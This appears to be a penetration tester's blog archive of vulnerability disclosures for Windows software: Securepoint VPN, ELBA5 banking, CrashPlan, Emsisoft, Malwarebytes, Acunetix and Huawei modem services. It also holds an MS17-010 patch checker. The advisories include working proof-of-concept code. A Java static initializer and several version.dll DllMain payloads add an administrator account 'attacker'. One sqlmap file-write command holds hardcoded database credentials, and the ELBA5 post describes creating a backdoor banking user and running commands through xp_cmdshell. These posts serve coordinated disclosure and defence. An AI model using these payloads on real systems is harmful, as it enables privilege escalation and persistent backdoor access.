Jun 292021

[ Preamble: A big thanks to the team at Securepoint! They immediately triaged our report and released an initial fix within days. Never forget: Every piece of software contains bugs! It depends on how you deal with them. ]

During the audit of the Windows 10 base image of one of our clients, we discovered that they were using the free Securepoint SSL VPN Client. To be precise, version 2.0.30 – the current release as of writing – was installed.

Diese Schwachstelle wurde im Zuge eines unserer Hacking Workshops identifiziert. Mehr dazu auf unserer Webseite: Bee IT Security – Wir machen IT Security verständlich, so dass Sie die richtigen Entscheidungen treffen können!

While taking a first glance at the application, it became clear that it uses two different components: on the one hand there is the user interface (1), which is executed in the context of the current user. On the other hand there is a Windows service which is executed as SYSTEM (2). This could be quite interesting from an attacker’s point of view, in case a normal user could manipulate the backend service in any way.

To learn more about the inner workings I used Process Monitor. As shown in the following screenshot the user interface component SSLVpnClient.exe (1) uses a TCP connection to communicate with the Windows service SPSSLVpnService.exe (2). As discussed before, this service runs as SYSTEM. The actual VPN connection is established by OpenVPN.exe (3). The most interesting learning however was, that a OpenVPN configuration file, which is stored in the current users home folder, is passed as argument (4). This means, the file is fully attacker controlled.

While reading the OpenVPN manual, I found something interesting: By using (for example) the –tls-verify directive from within an *.ovpn configuration file, it is possible to execute arbitrary commands. Hence, I created myself a malicious VPN configuration file. As shown in the right window, it launched the C:\Users\Public\lpe.bat file.

After saving the *.ovpn file into a folder with the same name in C:\Users\<username>\AppData\Roadming\Securepoint SSL VPN\config\ and restarting the SecurePoint VPN User interface, it is possible to connect to our malicious VPN.

By doing so, the tls-verify script is executed as SYSTEM and a new administrative user attacker is added. Hence, a normal non-administrative user gained full control over the affected endpoint.


Nov 162018

This blog post is about a previously unknown critical vulnerability in the Austrian electronic banking application ELBA5. The issue discussed here could be abused to gain full control over any ELBA5 database server as well as the underlying operating system. It has a confirmed CVSSv3 score of 10.0.

TL;DR: To secure your ELBA5 network installation, please update to the latest available ELBA5 release (5.8.1). For further information please see https://www.elba.at

What is ELBA5?

ELBA5, as shown below, is one of Austria’s most important business-focused electronic banking applications. It is used by the finance departments of many large organisations and supports about 24 different banks.

It is important to note that there are two distinct ELBA5 releases, namely: ELBA5 single-seat and ELBA5 multi-user (aka network installation). The vulnerability discussed here is only exploitable for the ELBA5 network installation. However, I have also reported several other, although less critical issues for the single-seat release. So it’s highly recommended to updated to the latest version anyway.

To give you a broad understanding of how the ELBA5 software stack works in a multi-user configuration, I create the following diagram. On the left side there is the ELBA5 server: This machine has two distinct functions: On the one hand it serves the ELBA5 binary application to all clients using a standard Windows file share. On the other hand it provides the ELBA5 backend, which is basically a SAP SQL Anywhere Database.

The enduser systems simply connect to the mentioned file share and launch the ELBA5 client from there. This makes it easy to update the application, as there is only a single package that is used by everyone. All the data that is viewed, modified or created from within the ELBA5 client is directly stored into the backend database. This is everything you need to know in order to understand the following exploit…

How everything started

The story of this vulnerability began during a penetration test last year. There I was able to gain access to the finance department’s terminal server. Amongst other’s they also used the ELBA5 network installation for their daily business. As I’m curious by nature I immediately launched all the interesting looking applications. Below is an image illustrating the sequence of things that happened right after. Can you spot the (possible) issue?

Well, here is the thing that caused my attention: How is it possible to install automatic updates without any previous authentication? Is the ELBA5 application using hardcoded credentials to connect to the backend service?

Initial Analysis

With this initial discovery I started to dig a little deeper. As ELBA5 is developed in Java I used the CRF decompiler to learn more about the inner workings of the application. Strangely, I could not really find any code that established the connection with the database backend. At that point I got really interested…

As my first try failed, I switched to a more brute force-like method: As I guessed that the ELBA5 client uses hardcoded credentials, they have to be somewhere in memory. A quick search for strings like user, uid, password, pwd however did not reveal anything interesting. Hence I thought, these credentials may get cleaned up immediately after establishing the initial connection. This is where the brute force part comes into play: I downloaded Microsoft’s procdump and took memory dumps as fast as I could while launching ELBA5. As shown in the screenshot below, this worked out. I was able to capture the credentials of not one, but two valid backend users. Namely, “connector” and “elba”:

By setting up a second ELBA5 network installation, I verified that the connector user always uses the same static password, whereas the elba user’s password did not work there. This was a problem as only the elba user holds administrative DBA privileges. Based on what I had learned already I came up with the assumption that there has to be a two step process for authentication:

The 1 Million Dollar Question: How is this working in Detail?

After taking a closer look at the privileges of the “connector” user on my debug machine (where I knew the DBA password), I discovered that this account is only authorised for a single column in a single table. Well, now I knew where the encrypted DBA password was stored. That it is encrypted (or at least obfuscated) was clear after I compared the content of the daten column with my known elba password. They were completely different.

So, I again had to take a closer look at the source code of the application. Finally, after many hours of debugging I discovered an interesting comment:

Has the database logic been “outsourced” into a separate library? To get a first glance I extracted all the strings from the systemtools.dll library… Some stood out immediately:

The highlighted SQL commands in the above screenshot are likely used to decrypt the secret elba DBA database password. Presumedly the AES encryption algorithm was used to secure the password. From the static strings alone however, I was not able to exfiltrate the required password. So I had to switch to something more dynamic: Immunity Debugger.

After setting an access breakpoint on the memory addresses of the above strings (and a few hours of debugging), I found the following information on the stack. The highlighted part contains the hardcoded key that is used to decrypt the elba user’s password.

Bringing it all together

By combining what I had learned by now, it was possible to reliably gain DBA permissions for every single ELBA5 network installation:

  1. Connect to the database with the hardcoded “connector” user and SELECT the AES encrypted DBA’s user password
  2. Decrypt the password with the static AES key, as obtained with the help of Immunity Debugger
  3. Connect to the database with the user elba and the decrypted password. We now have full control over all information that is stored in the DB.

However, this was where the real fun began…

Adding a Backdoor User

As I was targeting a banking application I thought it would be great to earn a bit of extra cash. So, what about adding a backdoor user?

After again analysing the source code I found out how the user’s password is stored in the table “BEDIENER”:

By analysing all the involved methods, I was able to make it more readable as:

This finally made it possible to remotely add arbitrary users to the ELBA5 installation. Logically with admin permissions:

Because everyone wants to have a user called “HACKER” in this electronic backing application – Right?

Remote Code Execution

But wait, there is more. Because from a pentester’s point of view we care more about overtaking a server than stealing money…. Luckily there is an old friend in the ELBA5 SQL Anywhere database server that we can use: xp_cmdshell. This SQL command can be used to run arbitrary applications on the operating system level. What makes this even more interesting was, that the database runs with full SYSTEM level permissions:

That means, we can also add a new Windows Admin. This give us full control over the affected server. Mimikatz anyone?

PoC Exploit

To automate the process discussed in this blog post, I wrote a fully fledge python exploit. It can either be used to add a new ELBA5 user to the database or remotely run a command with SYSTEM permissions on the target system. The only thing that is required is that the ELBA5 SQL Anywhere Database service is running a vulnerable version and is accessible over the network (TCP port 2640).

You can download the full exploit here:

Coordinate Public Disclosure Process

I also want to briefly discuss the coordinated public disclosure process that I went through with the developers of ELBA5. The initial issue was reported last year and triaged within days. As some may have already guessed, this is more an architectural issue and so it required intense rewrites and testing. I was invited twice during this process to discuss the current state. We openly talked about the risks and how they can be mitigated.

I really want to everyone involved for how professionally this matter was resolved. Not many companies take IT security that serious. It really shows how they values their partners and endusers. THANK YOU! 


This coordinated process is also important for endusers. Why? Well, because the only thing they have to do is: Please install the lastest ELBA5 5.8.1 release from https://www.elba.at. A lot of testing went into making the transition to the new authentication module completely transparent.


As I always think it is important to summaries the key aspect, I created the following overview. It gives a great high level introduction into the underlying vulnerability and the suggested solution. This slide is also available in German.

If you have any questions, please contact me directly at florian@bee-itsecurity.at or use the comment form below.

Thanks for reading that far 😉

Sep 242018

Have you ever asked yourself how vulnerabilities are discovered and how exploits are written? Well, then this is the perfect video for you. We will start by discussing how so called Fuzzers can be used to find previously unknown bugs in applications. Then we will analyse the generated crash dumps to find out if the underlying issue is exploitable and finally, we will write a fully-fledged exploit.

All this will be demonstrated “live”, based on the example of a well-known application with more than 1 million downloads per month. This is your chance to be part of the disclosure of a previously unknown zero-day vulnerability!

If you have any questions or feedback leave a comment below!

Jul 182018

Over the last years I painfully realised that IT Security is a very complex topic. Often it is difficult to communicate the scope of certain vulnerabilities and their mitigation strategies to layman’s and sometimes even IT professionals. I guess that’s the reason why many security consultancies don’t even try. But this is not my way!

Hence, I finally started my own business: Bee IT Security Consulting e.U. 

Our goal is to aid organisations in understanding their current security level and to help them take the best next steps for their business. To do that I’m provide security consulting services, including Penetration Testing, Workshops, Awareness and additionally I still love to give talks!

If you want to know more you can visit my new webpage https://www.bee-itsecurity.at (german only) or contact me at florian@bee-itsecurity.at.

Feb 152018

This advisory is about a local privilege escalation vulnerability affecting CrashPlan’s Windows application. It can be abused by any local user to gain full control over the system. It has been verified on a fully patched english Windows 7 x64 running the CrashPlan Windows client version

The underlying issue is that the Windows Service “CrashPlan Backup Service” loads and executes files from the insecure filesystem location C:\ProgramData\CrashPlan.

Amongst others, Java Class files are searched and eventually loaded from there. This results in a CLASS side-loading vulnerability.

The special thing about this folder are the default filesystem ACLs that allow any local user to append new files.

Thereby, it is possible to drop a malicious file. To exploit this issue I built the following Java class:

package org.slf4j.ext;

import java.io.Serializable;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.beans.ExceptionListener;

 * Base class for Event Data. Event Data contains data to be logged about an
 * event. Users may extend this class for each EventType they want to log.
 * @author Ralph Goers
public class EventData implements Serializable {

    try {
    		Runtime rt = Runtime.getRuntime();
			Process pr = rt.exec("cmd.exe /C \"net user attacker Batman42 /add && net localgroup Administrators attacker /add\"");
		} catch (Exception e) {

     * Default Constructor
    public EventData() {

To inject our own commands, Java’s Static Initializers are abused. These are immediately executed after the class is being loaded by the JVM. To compile it simply use javac:

javac EventData.java

Finally, drop the compiled Java class file into the to-be-created folder C:\ProgramData\CrashPlan\lang\org\slf4j\ext

After the system is rebooted this Java class is loaded and our code is executed as SYSTEM. In this example the local administrative user attacker was added.

Thereby, a non-admin user is able to fully compromise the local endpoint.

Suggested solution

End-users should update to the latest available version.


  • 18.5.2017: The issues has been identified
  • 22.5.2017: The issues has been documented and reported to the vendor
  • 25.5.2017: Vendor confirmed vulnerability and is working on a fix
  • 13.6.2017: New version containing a fix has been released. The release notes have been published here.
  • 15.2.2018: Public disclosure
Nov 102017

This post is about a local privilege escalation vulnerability in Emsisoft Anti-Malware. It allows any local user to abuse the virus quarantine to get local SYSTEM level access. It has been verified on a fully patched english Windows 7 x64 for Emsisoft Anti-Malware This issue itself is based on #AVGater, a class of Anti-Virus vulnerabilities related to the handling of quarantined files. 

The underlying issue is that the Emsisoft Anti-Malware’s quarantine interface can be abused to restore files as SYSTEM to any filesystem location. The following screenshot shows the starting point for our attack. We – as a local non-admin user – manually added a malicious version.dll from within an newly created folder (like ~\Desktop\X) into the virus quarantine using the “Add file” button.

This version.dll exports all the same functions as the one from Microsoft. However there is no real functionality within it except a few system calls within its DLLMain that add a new user as soon as it is loaded.

int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"whoami &gt;&gt; C:\\Users\\Public\\user.txt\"");
	return 0;

In the next step we start with the real magic: Windows Junction Points (https://technet.microsoft.com/en-us/library/cc753194%28v=ws.11%29.aspx?f=255&MSPPError=-2147217396)

To do that remove the empty parent folder (~\Desktop\X) and replace it with a junction point using mklink that points to Emsisoft Anti-Malware’s application folder.

To finally trigger the issue simply restore the previously quarantined version.dll. As the original path now contains a junction and the restore process is carried out as SYSTEM our version.dll gets places into the Program Files directory. This clearly proofs the privilege escalation: A normal user should not be able to do that.

Now simply reboot the system. During the start of the automatically loaded “Emsisoft Protection Service” Windows service the malicious version.dll gets loaded and our new user attacker is added to the system.

Suggested solution

It should be impossible to restore files to filesystem locations containing a directory junction. One solution could be to always restore files to a temporary folder first (like the users temp folder) and then let the user-mode application do the move to the final path. Thereby it is guaranteed that files can only be restored to folders where the current user has write permissions.


  • 02.12.2016: The issues has been documented and reported
  • 06.12.2016: Vendor was able to reproduce and started to work on a fix
  • 14.12.2016: Fixed in Beta release
  • 15.12.2016: Update pushed into production
  • 11.10.2017: Public release
Nov 102017

This post is about a local privilege escalation vulnerability in Malwarebytes Anti-Malware 3. It can be abused by any local user to gain full control over the system. It is based on #AVGater, a class of Anti-Virus vulnerabilities related to the handling of quarantined files. It has been verified on a fully patched english Windows 7 x64 running Malwarebytes Free

The underlying issue is that the Quarantine feature can be abuse to write arbitrary files to any filesystem location with full SYSTEM level permissions.

The first step in this attack is that a file with the name version.dll has to be quarantined from an otherwise empty folder. A good trick to do so is to simply rename a well-known malware to version.dll. I prepared such a sample here. Download it to ~\Desktop\X\version.dll and trigger a manual scan to get it detected.

As soon as the following dialog is shown, replace the already detected malware with our payload.

The prepared payload mimics the Windows library version.dll. However, instead of providing any real functionality it simply logs the current user to C:\Users\Public\user.txt. You can download the full source here.

int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"whoami >> C:\\Users\\Public\\user.txt\"");
	return 0;

Then finish the quarantine process and reboot the system. Now delete the previously created and now empty folder X and replace it with a directory junction as shown below.

Finally restore the quarantined file.

Because of the directory junction the library version.dll is restored to C:\Program Files\Malwarebytes\Anti-Malware.

After a reboot our “malicious” version.dll is loaded by the Windows service “Malwarebytes Service” (mbamservice.exe). As this service uses the SYSTEM account, we gained full control over the computer. This is also documented as the current user is logged to C:\Users\Public\user.txt.

Suggested solution

It should be impossible to restore files to filesystem locations containing a directory junction.


  • 14.1.2017: The issues has been documented and reported
  • 19.1.2017: Vendor starts investigation
  • 26.1.2017: Issue confirmed – Fix implemented
  • 27.3.2017: Update fully deployed
  • 11.10.2017: Public release
May 282017

This time I want to discuss another local privilege escalation vulnerability in the web vulnerability scanner Acunetix 11. It can be abused by any local user to gain full control over the system. It has been verified for Acunetix Trail 11.0.163541031 on a fully patched english Windows 7 64-bit.

The underlying issue is that the installed Acunetix PostgresSQL database server can be hijacked by using two different methods. As this database server is running as Local System it can be further abused to write arbitrary files. This in turn can be exploited to gain full control over the system using DLL sideloading.

Gaining access to the database #1

As stated, there are two different methods to gain access to the PostgresSQL server. The first one is very simple: just connect to it. This is possible because the local address is configured as trusted in the configuration file C:\ProgramData\Acunetix 11 Trial\db\pg_hba.conf.

Gaining access to the database #2

The second method is as simple: The user-readable configuration file C:\ProgramData\Acunetix 11 Trial\settings.ini contains the cleartext credentials for the database server.

Abusing the database access

Both methods can be used to connect to the database. The easiest way to abuse this access is to use sqlmap. This setup allows one to write files to arbitrary locations. To finally gain full control over the system I analysed the Acunetix service application. This revealed, as shown in the screenshot below, that the Windows library version.dll is not only loaded from the system directory, but also from the application’s current working directory.

Hence, I built a library mimicking the real Windows DLL version.dll. However, instead of providing any real functionality, it simply creates a new file on the system drive’s root. You can download the full source code and a precompiled version here.

Using the following sqlmap command this DLL can then be placed into the folder C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031.

C:\Python27\python.exe sqlmap.py -d "PostgreSQL://wvs:iRk2mQ3GNVqldjhgeGvMj7UNtd3oUmXT@" --dbs --file-write version.dll --file-dest "C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031\version.dll"

The following screenshots illustrates the upload process.

Now simply navigate to C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031 and verify that the file version.dll has been added.

After a reboot the DLL will be loaded by the highly privileged Windows service Acunetix Trial and the file C:\this_should_not_work.txt will be created.

Proof of Concept

To confirm this issue yourself install Acunetix Trail 11.0.163541031 and download the precompiled version of the proof of concept exploit.

After that, install Python 2.7, pip using get-pip.py and sqlmap (including its dependencies). Then – as a non admin user – follow the instructions of this post to verify the vulnerability.

Suggested solution

The database server should be secured: This means that the configuration file pg_hba.conf should be updated so that the local system should not be considered as trusted anymore and the database configuration file should be secured from unauthorised access using the filesystem ACLs.

An even better idea would be to use an unprivileged user to run the database server in the first place.


  • 9.1.2017: The issues has been documented and reported
  • 31.3.2017: Asked for update
  • 4.4.2017: Fixed version (build 11.0.170941159) has been released
  • 28.5.2017: Public disclosure
May 142017

UPDATE (16.05.2017 @ 21:06): This script should now work for all operating systems up to the current Windows 10 / Server 2016 build 14393.1198

UPDATE (15.05.2017 @ 22:15): There have been several reports that this script did not work on some Windows 2008 and 2016 servers. This was related to Get-HotFix, as it misses some installed updates. Hence, I added a second method to fetch all installed fixes… I guess this should be more stable…

Because of the current situation regarding WannaCry, I needed a simple solution to check if a system has already been patched against all the issues fixed in MS17-010. However, as there are different KB’s for the different operating systems, this is a lot more difficult than I first thought.

Hence, I updated a script I found on the internet so that it can be simply pasted into a PowerShell to check a system.

# Copy and paste this to a Powershell Window to check if MS17-010 has already been installed on this system

function checkForHotFix
 Write-Host "[*] MS17-010 Checker"
 Write-Host "[*] ++++++++++++++++++++++++++++++++++++++++++"
 Write-Host "[*] Starting check"

 # based on https://www.poweradmin.com/blog/how-to-check-for-ms17-010-and-other-hotfixes/
 # and on http://tomtalks.uk/2013/09/list-all-microsoftwindows-updates-with-powershell-sorted-by-kbhotfixid-get-microsoftupdate/

 # To find all Hotfixes of a security update copy the page content and
 # use http://regexr.com/ with the regex KB[0-9]{7} to extract them

 $hotfixes = "KB4013429","KB4012606","KB4013198","KB4012598","KB4012598","KB4012598","KB4012598","KB4012598","KB4012212","KB4012215","KB4012212","KB4012215","KB4012213","KB4012216","KB4012214","KB4012217","KB4012213","KB4012216","KB4012606","KB4013198","KB4013429","KB4013429","KB4016871", "KB4019472"

 Write-Host "[*] Querying installed HotFixes using method 1"
 $wu = new-object -com “Microsoft.Update.Searcher”
 $totalupdates = $wu.GetTotalHistoryCount()
 $all = $wu.QueryHistory(0,$totalupdates)
 # Define a new array to gather output
 $UpdateCollection= @()
 Foreach ($update in $all)
 $string = $update.title
 $Regex = “KB\d*”
 $KB = $string | Select-String -Pattern $regex | Select-Object { $_.Matches }
 $output = New-Object -TypeName PSobject
 $output | add-member NoteProperty “HotFixID” -value $KB.‘ $_.Matches ‘.Value
 $output | add-member NoteProperty “Title” -value $string
 $UpdateCollection += $output

 Write-Host "[*] Querying installed HotFixes using method 2" 
 Foreach ($hotfix in Get-Hotfix)
 $output = New-Object -TypeName PSobject
 $output | add-member NoteProperty “HotFixID” -value $hotfix.HotFixID
 $output | add-member NoteProperty “Title” -value $hotfix.Description
 $UpdateCollection += $output 
 Write-Host "[*] Check if any suitable HotFix was found"
 if ($UpdateCollection | Where-Object {$hotfixes -contains $_.HotfixID}) {
 $hotfixID = $UpdateCollection | Where-Object {$hotfixes -contains $_.HotfixID} | Select-Object -first 1 "HotFixID"
 Write-Host "[+] Hotfix"$hotfixID.HotFixID"installed - System is secure!" -foreground "green"
 } else {
 Write-Host "[-] No Hotfix found - System vulnerable!" -foreground "red"

# Also copy this comment - This makes it "autorun"

If a system has already been patched it looks like this:

If not, well there is a warning:

Maybe it’s of use for someone else…


  • Thanks to Markus for pointing out a missing KB
  • Thanks to Hannes for spotting a typing error that caused the script to always report “vulnerable” even on patched systems.
  • Thanks to Dustin (see comments) for pointing out another missing KB
May 122016

During a recent security audit I discovered a flaw in Huawei’s Mobile Broadband HL Service that is used by their 3G/LTE modems to automatically connect to the cellular network. A local attacker can abuse this issue to gain full SYSTEM level access. It has been reproduced with two fully updated Huawei 3G/LTE modems namely the Huawei E3533 and the Huawei E5373. However, I guess more devices are vulnerable.


Furthermore I also expect quite a large number of  systems to be affected as the service itself is installed automatically and Huawei modems are widely adopted. The issue was reported to and verified by Huawei. It affected all tested versions up to the current on x86 and x64. The installed release can be checked from within the “Programs and Features” Control Panel. If you want to verify the issue by yourself you can download a vulnerable service version from here. However please be aware that I don’t host this download myself so only install it on your analysis system for testing purposes.

Screen Shot 2016-03-14 at 09.04.39

The actual vulnerability is caused by the Windows service “Mobile Broadband HL Service”.

Screen Shot 2016-03-06 at 08.40.46

The parent folder of the service’s mbbService.exe application (C:\ProgramData\MobileBrServ) has its filesystem ACLs not properly secured, thus allowing all users to create and append files:

Screen Shot 2016-03-06 at 20.32.10

This can be abused by creating a malicious DLL that gets loaded and executed on boot with SYSTEM privileges. This is attack type is called DLL side loading. To do so we don’t even have to use Dynamic-Link Library Redirection as the library VERSION.dll is also searched for within the service installation directory (discovered using Process Monitor):

Screen Shot 2016-03-06 at 20.37.58

We simply have to develop a DLL that exports all three required functions as identified by Dependency Walker and drop it into C:\ProgramData\MobileBrServ as VERSION.dll.

Screen Shot 2016-03-06 at 20.41.06

I wrote the following library to do the job. It exports the three expected functions (GetFileVersionInfoA, GetFileVersionInfoSizeA, VerQueryValueA) without providing any real functionality. However as soon as it is loaded into a process, the DLLMain entry point function is executed and a new user “attacker” is added to the system.

#include &lt;process.h&gt;

	To compile 32bit dll:
	cl.exe /D_USRDLL /D_WINDLL version.cpp /link /DLL /OUT:version.dll

/* export all required functions - use Dependency Walker to check what is needed */
extern "C"
   __declspec(dllexport) int GetFileVersionInfoA();
   __declspec(dllexport) int GetFileVersionInfoSizeA();
   __declspec(dllexport) int VerQueryValueA();

	Implement DLLMain with common datatypes so we don't have to include windows.h. 
	Otherwise this would cause several compile errors because of the already known but reexported functions.
int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"echo&gt;%tmp%\\dll_loaded\""); // cmd /c "echo&gt;%tmp%\dll_loaded"
	system("net user attacker Batman42 /add");
	system("net localgroup Administrators attacker /add");

	return 0;

/* Implement stubs of our exports */
int GetFileVersionInfoA() {
    return 0;

int GetFileVersionInfoSizeA() {
    return 0;

int VerQueryValueA() {
    return 0;

After compiling it I put it into the mbbService’s parent directory.
Screen Shot 2016-03-06 at 20.48.41
As soon as the machine is rebooted the user attacker is added and we gained full access to the machine:
Screen Shot 2016-03-06 at 20.51.18


The following video demonstrates the attack.

Suggested solution

The correct solution to prevent this attack is so change the filesystem ACLs so that normal users are prohibited from creating files and directories within the C:\ProgramData\MobileBrServ folder.


Until Huawei pushes a fix the filesystem ACLs should be updated manually to prevent normal users to write anything into the service directory (C:\ProgramData\MobileBrServ). This can be automated using icacls.exe.

Disclosure Timeline

  • 6.3.2016 @ 10:00: Issue privately reported to Huawei
  • 6.3.2016 @ 21:00: CVE number requested
  • 7.3.2016 @ 06:00: MITRE assigned CVE-2016-2855
  • 14.3.2016 @ 11:00: Huawei verified the issue and is working on a fix
  • 9.5.2016 @ 06:00: Huawei informed me that the issue has been fixed in their latest release. However it is up to the carriers to push the fix to the devices.